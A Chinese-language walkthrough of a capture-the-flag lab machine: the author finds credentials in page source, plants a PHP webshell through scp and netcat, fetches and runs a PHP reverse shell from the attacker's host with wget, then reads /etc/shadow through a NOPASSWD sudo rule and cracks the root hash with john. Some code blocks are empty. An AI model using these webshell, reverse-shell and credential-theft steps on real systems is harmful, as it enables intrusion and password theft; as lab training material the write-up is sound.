以前的步骤经常看到一个感兴趣的点,然后就一直死磕ORZ
发现登陆页面,就开始尝试检查弱密码 实际上如果检查到备份文件泄露,很快就可以突破登陆表单。
所以踩点这一步的确没有做好。
踩点
1 |
|
第一点,不要相信任何扫描结果。
80:
http://192.168.2.120/logs/ 403 http://192.168.2.120/cgi-bin/ 403
- info1:
1
2index.php <!-- username:logs password:zg]E-b0]+8:(58G -->
- info2:
1
2一个邮箱dev@21ltr.com 源码发现了一个口令,经过尝试确认ftp口令可以登录。
21:
info2: 检查过匿名登陆
- 下载了一个php文件
lcd /root/Desktop get backup_log.php
- ftp权限可读不可写
1
2
3
4lcd /root/Desktop put a.php(上传本地a.php) a.php(把选中的文件,以a.php写入服务器)
- 看来只能检查这个php脚本了。
1
<?php $log = time(); echo '<center><b>GMT time is: '.gmdate('r', $log).'</b></center>'; ?>
该脚本的作用:生成现在的时间戳,然后记录下发生错误的记录。 没有任何提权思路。
22 ssh:
1 |
|
10001: scp
一开始发现了10001开放,可是具体去扫描的时候,又关闭了,所以以为是误报。
首先将kali改为192.168.2.240,ftp泄露的log提示。 scp会将文件发送到这个ip。
第二步建立一个文本文件,写入一句话。
<?php system($_GET['cmd']) ?>
第三步执行监听。
1 |
|
分为两条命令,第一条,监听本地10000端口,如果有连接进来,就发送到file.gz。第二条,将text文件发送到指定ip和端口。
注意:&& 和 ;的区别(linux shell) &&正确执行完第一条,才执行第二条。 ; 分别执行,命令之间不相关。
第四步,稍等一会儿nc显示,靶机连进来了==,并传递了一个备份文件。
在这里,我检查过backup_log.php,确认没有漏洞。但是居然可以利用scp写入system函数,让这个文件可以执行命令!真的出乎意料。
接下来就简单了,以前学过
info: /var/www/htdocs/logs Linux slax 2.6.27.27
准备php反弹shell脚本。
1 |
|
cd /tmp;wget http://192.168.2.240:888/php-reverse-shell.php;chmod +x php-reverse-shell.php;./php-reverse-shell.php
现在是apache用户
查找ssh密钥
find . -name “id_rsa” 2> /dev/null
1 |
|
尝试后,以hbeale用户登陆
1 |
|
现在是普通用户权限
sudo权限错误
以前遇到过关于sudo权限的 target
visudo
以root用户运行visudo命令,可以修改/etc/sudoers。
1 |
|
如果sudoers文件中,有上述代码。说明xx用户可以用sudo执行任何命令(以root权限)
sudoers文件只有root账号才能查看并且修改。
sudo -l
用户hbeale执行该命令,查看sudoers权限。
1 |
|
最后一行NOPASSWD,说明sudo命令运行/usr/bin/cat的时候,不需要输入密码。
于是sudo cat /etc/shadow
获取到了root加密的口令 $1$VW5E9DmD$deoML8uqU/4HaTmNmfM7G1
破解/etc/shadow
将口令写入pass.txt
john –wordlists=/usr/share/wordlists/rockyou.txt pass.txt
su root,提权成功。